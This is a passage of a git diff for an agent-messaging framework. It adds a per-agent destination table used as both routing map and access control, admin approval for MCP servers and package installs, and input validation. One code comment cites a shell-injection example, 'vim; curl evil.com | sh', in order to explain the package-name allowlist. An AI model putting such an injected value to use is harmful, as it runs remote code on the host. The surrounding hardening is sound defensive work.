-- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and report in your final output. No mid-work messages.
-- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") so the user knows you got the message. Don't leave them waiting in silence.
-- **Long-running work (many minutes, multi-step tasks):** Send periodic updates at natural milestones, and especially **before** slow operations like spinning up an explore sub-agent, downloading large files, or installing packages. "About to install ffmpeg — this'll take a minute" is better than the user wondering if you're stuck.
+You don't send messages to a "current conversation" — every outbound message goes to an explicitly named destination. The list of destinations available to you is injected into your system prompt at the start of every turn.
+
+**To send a message**, wrap it in a `...` block. You can include multiple blocks in one response to send to multiple destinations. Text outside of `` blocks is scratchpad — logged but never sent anywhere.
+
+```
+On my way home, 15 minutes
+```
+
+Inbound messages are labeled with `from="name"` so you know which destination they came from and can reply by using that same name as `to=`.
+
+### Mid-turn updates
+
+Use the `mcp__nanoclaw__send_message` tool to send a message mid-work (before your final output) — it takes the same `to` destination name. Pace your updates to the length of the work:
+
+- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and put the result in your final `` block.
+- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") via `send_message` so the user knows you got the message.
+- **Long-running work (many minutes, multi-step tasks):** Send periodic updates at natural milestones, and especially **before** slow operations like spinning up an explore sub-agent, downloading large files, or installing packages.
**Never narrate micro-steps.** "I'm going to read the file now… okay, I'm reading it… now I'm parsing it…" is noise. Updates should mark meaningful transitions, not every tool call.
@@ -28,16 +42,14 @@ Use `mcp__nanoclaw__send_message` to send messages mid-work (before your final o
### Internal thoughts
-If part of your output is internal reasoning rather than something for the user, wrap it in `` tags:
+If part of your output is internal reasoning rather than something for the reader, wrap it in `` tags — or just leave it as plain text outside any `` block. Both are scratchpad.
```
Compiled all three reports, ready to summarize.
-Here are the key findings from the research...
+Here are the key findings from the research…
```
-Text inside `` tags is logged but not sent to the user. If you've already sent the key information via `send_message`, you can wrap the recap in `` to avoid sending it again.
-
### Sub-agents and teammates
When working as a sub-agent or teammate, only use `send_message` if instructed to by the main agent.
diff --git a/setup/register.ts b/setup/register.ts
index 8d018a4d7..e41f3783f 100644
--- a/setup/register.ts
+++ b/setup/register.ts
@@ -11,6 +11,11 @@ import { DATA_DIR } from '../src/config.js';
import { initDb } from '../src/db/connection.js';
import { runMigrations } from '../src/db/migrations/index.js';
import { createAgentGroup, getAgentGroupByFolder } from '../src/db/agent-groups.js';
+import {
+ createDestination,
+ getDestinationByName,
+ normalizeName,
+} from '../src/db/agent-destinations.js';
import {
createMessagingGroup,
createMessagingGroupAgent,
@@ -41,6 +46,8 @@ interface RegisterArgs {
assistantName: string;
/** Session mode: 'shared' (one session per channel) or 'per-thread' */
sessionMode: string;
+ /** Optional local name the agent uses for this channel (defaults to normalized messaging group name) */
+ localName: string | null;
}
function parseArgs(args: string[]): RegisterArgs {
@@ -54,6 +61,7 @@ function parseArgs(args: string[]): RegisterArgs {
isMain: false,
assistantName: 'Andy',
sessionMode: 'shared',
+ localName: null,
};
for (let i = 0; i < args.length; i++) {
@@ -87,6 +95,9 @@ function parseArgs(args: string[]): RegisterArgs {
case '--session-mode':
result.sessionMode = args[++i] || 'shared';
break;
+ case '--local-name':
+ result.localName = args[++i] || null;
+ break;
}
}
@@ -168,7 +179,7 @@ export async function run(args: string[]): Promise {
log.info('Created messaging group', { id: mgId, channel: parsed.channel, platformId: parsed.platformId });
}
- // 3. Wire agent to messaging group
+ // 3. Wire agent to messaging group + create destination row for the agent's map
let newlyWired = false;
const existing = getMessagingGroupAgentByPair(messagingGroup.id, agentGroup.id);
if (!existing) {
@@ -190,7 +201,29 @@ export async function run(args: string[]): Promise {
priority: parsed.isMain ? 10 : 0,
created_at: new Date().toISOString(),
});
- log.info('Wired agent to messaging group', { mgaId, agentGroup: agentGroup.id, messagingGroup: messagingGroup.id });
+
+ // Create destination row so the agent can address this channel by name.
+ // Auto-suffix on collision within this agent's namespace.
+ const baseLocalName = normalizeName(parsed.localName || parsed.name);
+ let localName = baseLocalName;
+ let suffix = 2;
+ while (getDestinationByName(agentGroup.id, localName)) {
+ localName = `${baseLocalName}-${suffix}`;
+ suffix++;
+ }
+ createDestination({
+ agent_group_id: agentGroup.id,
+ local_name: localName,
+ target_type: 'channel',
+ target_id: messagingGroup.id,
+ created_at: new Date().toISOString(),
+ });
+ log.info('Wired agent to messaging group', {
+ mgaId,
+ agentGroup: agentGroup.id,
+ messagingGroup: messagingGroup.id,
+ localName,
+ });
}
// 4. Send onboarding message — only on first wiring, not re-registration
diff --git a/src/container-runner.ts b/src/container-runner.ts
index 743b7ce34..ac4d2cf14 100644
--- a/src/container-runner.ts
+++ b/src/container-runner.ts
@@ -15,7 +15,13 @@ import { getAgentGroup } from './db/agent-groups.js';
import { getMessagingGroup } from './db/messaging-groups.js';
import { log } from './log.js';
import { validateAdditionalMounts } from './mount-security.js';
-import { markContainerIdle, markContainerRunning, markContainerStopped, sessionDir } from './session-manager.js';
+import {
+ markContainerIdle,
+ markContainerRunning,
+ markContainerStopped,
+ sessionDir,
+ writeDestinationsFile,
+} from './session-manager.js';
import type { AgentGroup, Session } from './types.js';
const onecli = new OneCLI({ url: ONECLI_URL });
@@ -53,6 +59,9 @@ export async function wakeContainer(session: Session): Promise {
return;
}
+ // Refresh the destination map file so any admin changes take effect on wake
+ writeDestinationsFile(agentGroup.id, session.id);
+
const mounts = buildMounts(agentGroup, session);
const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`;
const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.folder.toLowerCase().replace(/_/g, '-');
@@ -235,6 +244,9 @@ async function buildContainerArgs(
if (agentGroup.name) {
args.push('-e', `NANOCLAW_ASSISTANT_NAME=${agentGroup.name}`);
}
+ args.push('-e', `NANOCLAW_AGENT_GROUP_ID=${agentGroup.id}`);
+ args.push('-e', `NANOCLAW_AGENT_GROUP_NAME=${agentGroup.name}`);
+ args.push('-e', `NANOCLAW_IS_ADMIN=${agentGroup.is_admin ? '1' : '0'}`);
// OneCLI gateway — injects HTTPS_PROXY + certs so container API calls
// are routed through the agent vault for credential injection.
diff --git a/src/db/agent-destinations.ts b/src/db/agent-destinations.ts
new file mode 100644
index 000000000..2d319deec
--- /dev/null
+++ b/src/db/agent-destinations.ts
@@ -0,0 +1,74 @@
+/**
+ * Per-agent destination map + ACL.
+ *
+ * Each row means: agent `agent_group_id` is allowed to send messages to
+ * target (`target_type`, `target_id`), and refers to it locally as `local_name`.
+ *
+ * Names are local to each source agent — they exist only inside that agent's
+ * namespace. The host uses this table both for routing (resolve name → ID)
+ * and for permission checks (row exists ⇒ authorized).
+ */
+import type { AgentDestination } from '../types.js';
+import { getDb } from './connection.js';
+
+export function createDestination(row: AgentDestination): void {
+ getDb()
+ .prepare(
+ `INSERT INTO agent_destinations (agent_group_id, local_name, target_type, target_id, created_at)
+ VALUES (@agent_group_id, @local_name, @target_type, @target_id, @created_at)`,
+ )
+ .run(row);
+}
+
+export function getDestinations(agentGroupId: string): AgentDestination[] {
+ return getDb()
+ .prepare('SELECT * FROM agent_destinations WHERE agent_group_id = ?')
+ .all(agentGroupId) as AgentDestination[];
+}
+
+export function getDestinationByName(agentGroupId: string, localName: string): AgentDestination | undefined {
+ return getDb()
+ .prepare('SELECT * FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?')
+ .get(agentGroupId, localName) as AgentDestination | undefined;
+}
+
+/** Reverse lookup: what does this agent call the given target? */
+export function getDestinationByTarget(
+ agentGroupId: string,
+ targetType: 'channel' | 'agent',
+ targetId: string,
+): AgentDestination | undefined {
+ return getDb()
+ .prepare(
+ 'SELECT * FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ?',
+ )
+ .get(agentGroupId, targetType, targetId) as AgentDestination | undefined;
+}
+
+/** Permission check: can this agent send to this target? */
+export function hasDestination(
+ agentGroupId: string,
+ targetType: 'channel' | 'agent',
+ targetId: string,
+): boolean {
+ const row = getDb()
+ .prepare(
+ 'SELECT 1 FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ? LIMIT 1',
+ )
+ .get(agentGroupId, targetType, targetId);
+ return !!row;
+}
+
+export function deleteDestination(agentGroupId: string, localName: string): void {
+ getDb().prepare('DELETE FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?').run(agentGroupId, localName);
+}
+
+/** Normalize a human-readable name into a lowercase, dash-separated identifier. */
+export function normalizeName(name: string): string {
+ return (
+ name
+ .toLowerCase()
+ .replace(/[^a-z0-9]+/g, '-')
+ .replace(/^-+|-+$/g, '') || 'unnamed'
+ );
+}
diff --git a/src/db/db-v2.test.ts b/src/db/db-v2.test.ts
index 81cd68e58..9fdbb4055 100644
--- a/src/db/db-v2.test.ts
+++ b/src/db/db-v2.test.ts
@@ -62,7 +62,7 @@ describe('migrations', () => {
const db = initTestDb();
runMigrations(db);
const row = db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number };
- expect(row.v).toBe(3);
+ expect(row.v).toBe(4);
});
});
diff --git a/src/db/migrations/004-agent-destinations.ts b/src/db/migrations/004-agent-destinations.ts
new file mode 100644
index 000000000..503e97ed8
--- /dev/null
+++ b/src/db/migrations/004-agent-destinations.ts
@@ -0,0 +1,81 @@
+import type Database from 'better-sqlite3';
+
+import type { Migration } from './index.js';
+
+/**
+ * Agent destinations: per-agent named map of allowed message targets.
+ *
+ * This table is BOTH the routing map and the ACL. A row exists iff the
+ * source agent is permitted to send to the target. No row = unauthorized.
+ *
+ * target_type: 'channel' references messaging_groups(id)
+ * target_type: 'agent' references agent_groups(id)
+ *
+ * Names are scoped per source agent — worker-1 may call the admin "parent"
+ * while admin calls the child "worker-1". The (agent_group_id, local_name)
+ * PK enforces uniqueness within a single agent's namespace only.
+ */
+export const migration004: Migration = {
+ version: 4,
+ name: 'agent-destinations',
+ up(db: Database.Database) {
+ db.exec(`
+ CREATE TABLE agent_destinations (
+ agent_group_id TEXT NOT NULL REFERENCES agent_groups(id),
+ local_name TEXT NOT NULL,
+ target_type TEXT NOT NULL,
+ target_id TEXT NOT NULL,
+ created_at TEXT NOT NULL,
+ PRIMARY KEY (agent_group_id, local_name)
+ );
+ CREATE INDEX idx_agent_dest_target ON agent_destinations(target_type, target_id);
+ `);
+
+ // Backfill from existing messaging_group_agents wirings.
+ // For each wired (agent, messaging_group), create a destination row
+ // using the messaging group's name (normalized) as the local name.
+ // Collisions get a -2, -3 suffix within each agent's namespace.
+ const rows = db
+ .prepare(
+ `SELECT mga.agent_group_id, mga.messaging_group_id, mg.channel_type, mg.name
+ FROM messaging_group_agents mga
+ JOIN messaging_groups mg ON mg.id = mga.messaging_group_id`,
+ )
+ .all() as Array<{
+ agent_group_id: string;
+ messaging_group_id: string;
+ channel_type: string;
+ name: string | null;
+ }>;
+
+ const takenByAgent = new Map>();
+ const insert = db.prepare(
+ `INSERT INTO agent_destinations (agent_group_id, local_name, target_type, target_id, created_at)
+ VALUES (?, ?, 'channel', ?, ?)`,
+ );
+ const now = new Date().toISOString();
+
+ for (const row of rows) {
+ const base = normalizeName(row.name || `${row.channel_type}-${row.messaging_group_id.slice(0, 8)}`);
+ const taken = takenByAgent.get(row.agent_group_id) ?? new Set();
+ let localName = base;
+ let suffix = 2;
+ while (taken.has(localName)) {
+ localName = `${base}-${suffix}`;
+ suffix++;
+ }
+ taken.add(localName);
+ takenByAgent.set(row.agent_group_id, taken);
+ insert.run(row.agent_group_id, localName, row.messaging_group_id, now);
+ }
+ },
+};
+
+function normalizeName(name: string): string {
+ return (
+ name
+ .toLowerCase()
+ .replace(/[^a-z0-9]+/g, '-')
+ .replace(/^-+|-+$/g, '') || 'unnamed'
+ );
+}
diff --git a/src/db/migrations/index.ts b/src/db/migrations/index.ts
index 3a51c5fb6..c2103596b 100644
--- a/src/db/migrations/index.ts
+++ b/src/db/migrations/index.ts
@@ -4,6 +4,7 @@ import { log } from '../../log.js';
import { migration001 } from './001-initial.js';
import { migration002 } from './002-chat-sdk-state.js';
import { migration003 } from './003-pending-approvals.js';
+import { migration004 } from './004-agent-destinations.js';
export interface Migration {
version: number;
@@ -11,7 +12,7 @@ export interface Migration {
up: (db: Database.Database) => void;
}
-const migrations: Migration[] = [migration001, migration002, migration003];
+const migrations: Migration[] = [migration001, migration002, migration003, migration004];
export function runMigrations(db: Database.Database): void {
db.exec(`
diff --git a/src/delivery.ts b/src/delivery.ts
index 047d696f1..144d21317 100644
--- a/src/delivery.ts
+++ b/src/delivery.ts
@@ -19,8 +19,20 @@ import {
getSession,
createPendingApproval,
} from './db/sessions.js';
-import { getAgentGroup, getAdminAgentGroup, createAgentGroup, updateAgentGroup } from './db/agent-groups.js';
-import { getMessagingGroupsByAgentGroup } from './db/messaging-groups.js';
+import {
+ getAgentGroup,
+ getAdminAgentGroup,
+ createAgentGroup,
+ updateAgentGroup,
+ getAgentGroupByFolder,
+} from './db/agent-groups.js';
+import {
+ createDestination,
+ getDestinationByName,
+ hasDestination,
+ normalizeName,
+} from './db/agent-destinations.js';
+import { getMessagingGroupByPlatform, getMessagingGroupsByAgentGroup } from './db/messaging-groups.js';
import { log } from './log.js';
import {
openInboundDb,
@@ -62,6 +74,83 @@ export function setDeliveryAdapter(adapter: ChannelDeliveryAdapter): void {
deliveryAdapter = adapter;
}
+/**
+ * Deliver a system notification to an agent as a regular chat message.
+ * Used for fire-and-forget responses from host actions (create_agent result,
+ * approval outcomes, etc.). The agent sees it as an inbound chat message
+ * with sender="system".
+ */
+function notifyAgent(session: Session, text: string): void {
+ writeSessionMessage(session.agent_group_id, session.id, {
+ id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
+ kind: 'chat',
+ timestamp: new Date().toISOString(),
+ platformId: session.agent_group_id,
+ channelType: 'agent',
+ threadId: null,
+ content: JSON.stringify({ text, sender: 'system', senderId: 'system' }),
+ });
+ // Wake the container so it picks up the notification promptly
+ const fresh = getSession(session.id);
+ if (fresh) {
+ wakeContainer(fresh).catch((err) => log.error('Failed to wake container after notification', { err }));
+ }
+}
+
+/**
+ * Send an approval request to the admin channel and record a pending_approval row.
+ * The admin's button click routes via the existing ncq: card infrastructure to
+ * handleApprovalResponse in index.ts, which completes the action.
+ */
+async function requestApproval(
+ session: Session,
+ agentName: string,
+ action: 'install_packages' | 'request_rebuild' | 'add_mcp_server',
+ payload: Record,
+ question: string,
+): Promise {
+ const adminGroup = getAdminAgentGroup();
+ const adminMGs = adminGroup ? getMessagingGroupsByAgentGroup(adminGroup.id) : [];
+ if (adminMGs.length === 0) {
+ notifyAgent(session, `${action} failed: no admin channel configured for approvals.`);
+ return;
+ }
+ const adminChannel = adminMGs[0];
+
+ const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
+ createPendingApproval({
+ approval_id: approvalId,
+ session_id: session.id,
+ request_id: approvalId, // fire-and-forget: no separate request id to correlate
+ action,
+ payload: JSON.stringify(payload),
+ created_at: new Date().toISOString(),
+ });
+
+ if (deliveryAdapter) {
+ try {
+ await deliveryAdapter.deliver(
+ adminChannel.channel_type,
+ adminChannel.platform_id,
+ null,
+ 'chat-sdk',
+ JSON.stringify({
+ type: 'ask_question',
+ questionId: approvalId,
+ question,
+ options: ['Approve', 'Reject'],
+ }),
+ );
+ } catch (err) {
+ log.error('Failed to deliver approval card', { action, approvalId, err });
+ notifyAgent(session, `${action} failed: could not deliver approval request to admin.`);
+ return;
+ }
+ }
+
+ log.info('Approval requested', { action, approvalId, agentName });
+}
+
/** Show typing indicator on a channel. Called when a message is routed to the agent. */
export async function triggerTyping(channelType: string, platformId: string, threadId: string | null): Promise {
try {
@@ -227,12 +316,27 @@ async function deliverMessage(
return;
}
- // Agent-to-agent — route to target session
+ // Agent-to-agent — route to target session (with permission check)
if (msg.channel_type === 'agent') {
await routeAgentMessage(msg, session);
return;
}
+ // Permission check: the source agent must have a destination row for this target.
+ // Defense in depth — the container already validates via its local map, but the
+ // host's central DB is the authoritative ACL.
+ if (msg.channel_type && msg.platform_id) {
+ const mg = getMessagingGroupByPlatform(msg.channel_type, msg.platform_id);
+ if (!mg || !hasDestination(session.agent_group_id, 'channel', mg.id)) {
+ log.warn('Unauthorized channel destination — dropping message', {
+ sourceAgentGroup: session.agent_group_id,
+ channelType: msg.channel_type,
+ platformId: msg.platform_id,
+ });
+ return;
+ }
+ }
+
// Track pending questions for ask_user_question flow
if (content.type === 'ask_question' && content.questionId) {
createPendingQuestion({
@@ -293,7 +397,13 @@ async function deliverMessage(
return platformMsgId;
}
-/** Route an agent-to-agent message to the target agent's session. */
+/**
+ * Route an agent-to-agent message to the target agent's session.
+ *
+ * Permission is enforced via agent_destinations — the source agent must have
+ * a row for the target. Content is copied verbatim; the target's formatter
+ * will look up the source agent in its own local map to display a name.
+ */
async function routeAgentMessage(
msg: { id: string; platform_id: string | null; content: string },
sourceSession: Session,
@@ -304,35 +414,29 @@ async function routeAgentMessage(
return;
}
- const targetGroup = getAgentGroup(targetAgentGroupId);
- if (!targetGroup) {
+ if (!hasDestination(sourceSession.agent_group_id, 'agent', targetAgentGroupId)) {
+ log.warn('Unauthorized agent-to-agent message — dropping', {
+ source: sourceSession.agent_group_id,
+ target: targetAgentGroupId,
+ });
+ return;
+ }
+
+ if (!getAgentGroup(targetAgentGroupId)) {
log.warn('Target agent group not found', { id: msg.id, targetAgentGroupId });
return;
}
- const sourceGroup = getAgentGroup(sourceSession.agent_group_id);
- const sourceAgentName = sourceGroup?.name || sourceSession.agent_group_id;
-
- // Find or create a session for the target agent
const { session: targetSession } = resolveSession(targetAgentGroupId, null, null, 'agent-shared');
- // Enrich content with sender info
- const content = JSON.parse(msg.content);
- const enrichedContent = JSON.stringify({
- text: content.text,
- sender: sourceAgentName,
- senderId: sourceSession.agent_group_id,
- });
-
- const messageId = `agent-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
writeSessionMessage(targetAgentGroupId, targetSession.id, {
- id: messageId,
+ id: `a2a-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
kind: 'chat',
timestamp: new Date().toISOString(),
platformId: sourceSession.agent_group_id,
channelType: 'agent',
threadId: null,
- content: enrichedContent,
+ content: msg.content,
});
log.info('Agent message routed', {
@@ -341,10 +445,8 @@ async function routeAgentMessage(
targetSession: targetSession.id,
});
- const freshSession = getSession(targetSession.id);
- if (freshSession) {
- await wakeContainer(freshSession);
- }
+ const fresh = getSession(targetSession.id);
+ if (fresh) await wakeContainer(fresh);
}
/** Ensure the delivered table has new columns (migration for existing sessions). */
@@ -436,205 +538,176 @@ async function handleSystemAction(
case 'create_agent': {
const requestId = content.requestId as string;
const name = content.name as string;
- let folder =
- (content.folder as string) ||
- name
- .toLowerCase()
- .replace(/[^a-z0-9_-]/g, '_')
- .replace(/_+/g, '_');
const instructions = content.instructions as string | null;
- try {
- // Avoid duplicate folders
- const { getAgentGroupByFolder } = await import('./db/agent-groups.js');
- if (getAgentGroupByFolder(folder)) {
- folder = `${folder}_${Date.now()}`;
- }
-
- const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
-
- createAgentGroup({
- id: agentGroupId,
- name,
- folder,
- is_admin: 0,
- agent_provider: null,
- container_config: null,
- created_at: new Date().toISOString(),
- });
-
- const groupPath = path.join(GROUPS_DIR, folder);
- fs.mkdirSync(groupPath, { recursive: true });
-
- if (instructions) {
- fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions);
- }
-
- writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', {
- agentGroupId,
- name,
- folder,
- });
-
- log.info('Agent group created via system action', { agentGroupId, name, folder });
- } catch (e) {
- writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', {
- error: e instanceof Error ? e.message : String(e),
- });
+ const sourceGroup = getAgentGroup(session.agent_group_id);
+ if (!sourceGroup?.is_admin) {
+ // Notify the agent via a chat message (fire-and-forget pattern)
+ notifyAgent(session, `Your create_agent request for "${name}" was rejected: admin permission required.`);
+ log.warn('create_agent denied (not admin)', { sessionAgentGroup: session.agent_group_id, name });
+ break;
}
+
+ const localName = normalizeName(name);
+
+ // Collision in the creator's destination namespace
+ if (getDestinationByName(sourceGroup.id, localName)) {
+ notifyAgent(session, `Cannot create agent "${name}": you already have a destination named "${localName}".`);
+ break;
+ }
+
+ // Derive a safe folder name, deduplicated globally across agent_groups.folder
+ let folder = localName;
+ let suffix = 2;
+ while (getAgentGroupByFolder(folder)) {
+ folder = `${localName}-${suffix}`;
+ suffix++;
+ }
+
+ const groupPath = path.join(GROUPS_DIR, folder);
+ const resolvedPath = path.resolve(groupPath);
+ const resolvedGroupsDir = path.resolve(GROUPS_DIR);
+ if (!resolvedPath.startsWith(resolvedGroupsDir + path.sep)) {
+ notifyAgent(session, `Cannot create agent "${name}": invalid folder path.`);
+ log.error('create_agent path traversal attempt', { folder, resolvedPath });
+ break;
+ }
+
+ const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
+ const now = new Date().toISOString();
+
+ createAgentGroup({
+ id: agentGroupId,
+ name,
+ folder,
+ is_admin: 0,
+ agent_provider: null,
+ container_config: null,
+ created_at: now,
+ });
+
+ fs.mkdirSync(groupPath, { recursive: true });
+ if (instructions) {
+ fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions);
+ }
+
+ // Insert bidirectional destination rows (= ACL grants).
+ // Creator refers to child by the name it chose; child refers to creator as "parent".
+ createDestination({
+ agent_group_id: sourceGroup.id,
+ local_name: localName,
+ target_type: 'agent',
+ target_id: agentGroupId,
+ created_at: now,
+ });
+ // Handle the unlikely case where the child already has a "parent" destination
+ // (shouldn't happen for a brand-new agent, but be safe).
+ let parentName = 'parent';
+ let parentSuffix = 2;
+ while (getDestinationByName(agentGroupId, parentName)) {
+ parentName = `parent-${parentSuffix}`;
+ parentSuffix++;
+ }
+ createDestination({
+ agent_group_id: agentGroupId,
+ local_name: parentName,
+ target_type: 'agent',
+ target_id: sourceGroup.id,
+ created_at: now,
+ });
+
+ // Fire-and-forget notification back to the creator
+ notifyAgent(session, `Agent "${localName}" created. You can now message it with ....`);
+ log.info('Agent group created', { agentGroupId, name, localName, folder, parent: sourceGroup.id });
+ // Note: requestId is unused — this is fire-and-forget, not request/response.
+ void requestId;
break;
}
case 'add_mcp_server': {
- const requestId = content.requestId as string;
+ const agentGroup = getAgentGroup(session.agent_group_id);
+ if (!agentGroup) {
+ notifyAgent(session, 'add_mcp_server failed: agent group not found.');
+ break;
+ }
const serverName = content.name as string;
const command = content.command as string;
- const serverArgs = content.args as string[];
- const serverEnv = content.env as Record;
-
- try {
- const agentGroup = getAgentGroup(session.agent_group_id);
- if (!agentGroup) throw new Error('Agent group not found');
-
- const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {};
- if (!containerConfig.mcpServers) containerConfig.mcpServers = {};
- containerConfig.mcpServers[serverName] = { command, args: serverArgs || [], env: serverEnv || {} };
-
- updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) });
-
- writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', {
- message: `MCP server "${serverName}" added. Will take effect on next container restart.`,
- });
-
- log.info('MCP server added', { agentGroupId: session.agent_group_id, name: serverName });
- } catch (e) {
- writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', {
- error: e instanceof Error ? e.message : String(e),
- });
+ if (!serverName || !command) {
+ notifyAgent(session, 'add_mcp_server failed: name and command are required.');
+ break;
}
+ await requestApproval(session, agentGroup.name, 'add_mcp_server', {
+ name: serverName,
+ command,
+ args: (content.args as string[]) || [],
+ env: (content.env as Record) || {},
+ }, `Agent "${agentGroup.name}" requests a new MCP server:\n${serverName} (${command})`);
break;
}
case 'install_packages': {
- const requestId = content.requestId as string;
- const apt = (content.apt as string[]) || [];
- const npm = (content.npm as string[]) || [];
- const reason = content.reason as string;
-
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
- writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' });
+ notifyAgent(session, 'install_packages failed: agent group not found.');
break;
}
- // Find admin channel for approval card
- const adminGroup = getAdminAgentGroup();
- let approvalChannelType: string | null = null;
- let approvalPlatformId: string | null = null;
+ const apt = (content.apt as string[]) || [];
+ const npm = (content.npm as string[]) || [];
+ const reason = (content.reason as string) || '';
- if (adminGroup) {
- const adminMGs = getMessagingGroupsByAgentGroup(adminGroup.id);
- if (adminMGs.length > 0) {
- approvalChannelType = adminMGs[0].channel_type;
- approvalPlatformId = adminMGs[0].platform_id;
- }
+ // Host-side sanitization (defense in depth — container should validate first).
+ // Strict allowlist: Debian/npm naming rules only. Blocks shell injection via
+ // package names like `vim; curl evil.com | sh`.
+ const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/;
+ const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/;
+ const MAX_PACKAGES = 20;
+ if (apt.length + npm.length === 0) {
+ notifyAgent(session, 'install_packages failed: at least one apt or npm package is required.');
+ break;
}
-
- if (!approvalChannelType || !approvalPlatformId) {
- writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', {
- error: 'No admin channel found for approval',
- });
+ if (apt.length + npm.length > MAX_PACKAGES) {
+ notifyAgent(session, `install_packages failed: max ${MAX_PACKAGES} packages per request.`);
+ break;
+ }
+ const invalidApt = apt.find((p) => !APT_RE.test(p));
+ if (invalidApt) {
+ notifyAgent(session, `install_packages failed: invalid apt package name "${invalidApt}".`);
+ log.warn('install_packages: invalid apt package rejected', { pkg: invalidApt });
+ break;
+ }
+ const invalidNpm = npm.find((p) => !NPM_RE.test(p));
+ if (invalidNpm) {
+ notifyAgent(session, `install_packages failed: invalid npm package name "${invalidNpm}".`);
+ log.warn('install_packages: invalid npm package rejected', { pkg: invalidNpm });
break;
}
- const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
-
- createPendingApproval({
- approval_id: approvalId,
- session_id: session.id,
- request_id: requestId,
- action: 'install_packages',
- payload: JSON.stringify({ apt, npm, reason }),
- created_at: new Date().toISOString(),
- });
-
- const packageList = [...apt.map((p: string) => `apt: ${p}`), ...npm.map((p: string) => `npm: ${p}`)].join(', ');
- if (deliveryAdapter) {
- await deliveryAdapter.deliver(
- approvalChannelType,
- approvalPlatformId,
- null,
- 'chat-sdk',
- JSON.stringify({
- type: 'ask_question',
- questionId: approvalId,
- question: `Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`,
- options: ['Approve', 'Reject'],
- }),
- );
- }
-
- log.info('Package install approval requested', { approvalId, agentGroup: agentGroup.name, apt, npm });
+ const packageList = [...apt.map((p) => `apt: ${p}`), ...npm.map((p) => `npm: ${p}`)].join(', ');
+ await requestApproval(
+ session,
+ agentGroup.name,
+ 'install_packages',
+ { apt, npm, reason },
+ `Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`,
+ );
break;
}
case 'request_rebuild': {
- const requestId = content.requestId as string;
- const reason = content.reason as string;
-
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
- writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' });
+ notifyAgent(session, 'request_rebuild failed: agent group not found.');
break;
}
-
- // Find admin channel for approval card
- const adminGroup2 = getAdminAgentGroup();
- let rebuildChannelType: string | null = null;
- let rebuildPlatformId: string | null = null;
-
- if (adminGroup2) {
- const adminMGs2 = getMessagingGroupsByAgentGroup(adminGroup2.id);
- if (adminMGs2.length > 0) {
- rebuildChannelType = adminMGs2[0].channel_type;
- rebuildPlatformId = adminMGs2[0].platform_id;
- }
- }
-
- if (!rebuildChannelType || !rebuildPlatformId) {
- writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', {
- error: 'No admin channel found for approval',
- });
- break;
- }
-
- const rebuildApprovalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
-
- createPendingApproval({
- approval_id: rebuildApprovalId,
- session_id: session.id,
- request_id: requestId,
- action: 'request_rebuild',
- payload: JSON.stringify({ reason }),
- created_at: new Date().toISOString(),
- });
-
- if (deliveryAdapter) {
- await deliveryAdapter.deliver(
- rebuildChannelType,
- rebuildPlatformId,
- null,
- 'chat-sdk',
- JSON.stringify({
- type: 'ask_question',
- questionId: rebuildApprovalId,
- question: `Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`,
- options: ['Approve', 'Reject'],
- }),
- );
- }
-
- log.info('Container rebuild approval requested', { approvalId: rebuildApprovalId, agentGroup: agentGroup.name });
+ const reason = (content.reason as string) || '';
+ await requestApproval(
+ session,
+ agentGroup.name,
+ 'request_rebuild',
+ { reason },
+ `Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`,
+ );
break;
}
diff --git a/src/index.ts b/src/index.ts
index 29bb3e2e2..e2378341a 100644
--- a/src/index.ts
+++ b/src/index.ts
@@ -22,8 +22,8 @@ import {
getSession,
} from './db/sessions.js';
import { getAgentGroup, updateAgentGroup } from './db/agent-groups.js';
-import { writeSessionMessage, writeSystemResponse } from './session-manager.js';
-import { wakeContainer, buildAgentGroupImage } from './container-runner.js';
+import { writeSessionMessage } from './session-manager.js';
+import { wakeContainer, buildAgentGroupImage, killContainer } from './container-runner.js';
import { log } from './log.js';
// Channel barrel — each enabled channel self-registers on import.
@@ -177,7 +177,12 @@ async function handleQuestionResponse(questionId: string, selectedOption: string
await wakeContainer(session);
}
-/** Handle an admin's response to an approval card. */
+/**
